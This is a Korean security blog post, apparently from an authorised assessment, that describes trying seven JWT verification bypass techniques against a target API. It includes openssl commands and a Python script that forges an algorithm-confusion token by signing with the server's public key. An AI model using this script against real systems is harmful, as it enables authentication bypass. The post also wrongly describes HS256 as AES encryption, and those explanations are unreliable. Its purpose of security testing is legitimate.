앵하니의 더 나은 보안
JWT 검증 우회 +α 본문
JWT의 signature 값을 새로 생성하거나 알고리즘 값을 변경해 JWT 검증을 우회해보고자 한다.
JWT 토큰 검증 우회로 시도해볼 기법은 총 7가지
- signature 검증 부재
- alg 값으로 none 설정 (CVE-2015-9235)
- alg 값 수정 HS256 > RS256 (CVE-2016-5431/CVE-2016-10555)
- JKW Injection (CVE-2018-0114)
- JKU Spoofing
- kid injection
- CVE-2022-23529
signature 검증 부재
JWT 토큰 payload와 signature 값을 대조하지 않는 실수를 하는 개발자도 있다고 해서 payload 값(userId 95 > 96, 기타 인증 관련 값) 임의 변경 시도
alg 값으로 none 설정
alg 값 수정 HS256 > RS256
HS256=HMAC은 대칭키 알고리즘을 사용한 해시 알고리즘으로 header와 payload값을 말아 특정 키 값으로 aes256 암호화 수행 후 해시 값을 취득해 header 및 payload의 무결성을 검증하는 역할을 수행
이때 알고리즘 설정을 비대칭키 알고리즘 RS256으로 임의로 수정해 무결성 검증 우회를 시도
RS256은 HS256과 다 동일한데 그냥 RSA냐 AES냐의 차이만 존재하는 듯 함
RS256에 사용할 공개키/비밀키는 대상 사이트에서 취득해 볼건데,
아래 경로를 통해 공개키를 취득하거나
/.well-known/jwks.json |
/openid/connect/jwks.json |
/jwks.json |
/api/keys |
/api/v1/keys |
아니면 그냥 대상 api 웹 서버의 https 인증서 공개키를 사용해볼 수 있음
well known 경로를 통해 공개키 취득 시도
/.well-known/jwks.json
/openid/connect/jwks.json
/jwks.json
/api/keys
/api/v1/keys
5개 경로에서 공개키를 얻는 건 모두 실패
혹시 몰라서 경로에 ‘/api’를 제외한 /v1/keys 와 같은 경로도 시도해봤으나 결과는 같았음
API 서버 HTTPS 인증서 공개키 사용
1. openssl로 [진단 대상 사이트]의 공개키 획득 및 certificatechain.pem 파일 생성
> openssl-0.9.8k_X64\bin>openssl.exe s_client -connect [진단 대상 사이트]:443
2. certificatechain.pem 파일을 사용해 공개키 생성 및 pubkey.pem 파일로 저장
> openssl.exe x509 -pubkey -in certificatechain.pem -noout
3. JWT generate를 사용해 pubkey.pem로 RS256 JWT 생성
#JWT generate
import json
import base64
import hashlib
import hmac
#공개키 경로
key = open("[공개키 경로]/openssl-0.9.8k_X64/bin/pubkey.pem").read()
headDict = {"alg": "RS256","typ": "JWT"}
paylDict = {[payload 값],"userId": 96,[payload 값],"iat": 1685940985,"exp": 1686027385}
newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
newContents = newContents.encode().decode('UTF-8')
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
print(newContents+"."+newSig)
4. 생성한 토큰 사용 시도
JKW Injection
RS256과 같이 비대칭키 암호화 알고리즘을 사용하는 경우
JWT의 헤더에 복호화에 사용되는 공개키를 JWK(Json Web Key) 형태로 Injeciton 가능
하지만 이번 api 서버의 JWT 암호화 알고리즘은 RS256이 아니라 HS256이고,
JKW 필드를 별도로 사용하지 않으므로 해당사항 없음
JKU Spoofing
마찬가지로 RS256 알고리즘을 사용할 때, 그리고 JKU 필드를 JWT에서 확인할 수 있을때 사용하는 기법으로
HS256을 사용하며 JKU필드를 사용하지 않는 본 api 서버를 대상으로는 해당사항 없음
kid injection
header에 kid라는 필드를 사용할 경우 해당 값을 조작하여 key값에 관여할 수 있고,
key값에 관여할 경우 payload 조작 및 무결성 검증 값(signature)의 생성이 가능해지는 기법
kid 필드가 있으면 추가로 이것저것 exploit 할 수 있는게 많아짐
하지만 header에 kid 필드를 사용하지 않는 api 서버를 대상으로는 해당사항 없음
결론
총 6개의 우회기법을 시도해본 결과로 3개는 효과가 없었고, 3개는 해당사항이 없었음
현재까지 알려진 취약점을 이용한 JWT 검증 우회는 불가
+ JWT 제로데이 취약점인줄 알았던 CVE-2022-23529가 취약항목에서 제외됐다고 함
그 이유는 실효성이 너무 떨어진다고
https://www.akto.io/blog/jwt-rce
참고
https://mesh3l911.github.io/posts/JWKS-Spoofing/
https://blog.pentesteracademy.com/hacking-jwt-tokens-jku-claim-misuse-2e732109ac1c
https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
'보안 기술 > WEB' 카테고리의 다른 글
SSRF (0) | 2023.10.01 |
---|---|
Session storage JWT token 탈취 시도 (0) | 2023.06.09 |
CSRF 취약점과 대응방안 (0) | 2022.08.22 |
SSL strip과 HSTS (0) | 2022.08.12 |
WEB Ahnlab Safe Transaction bypass (20) | 2022.08.12 |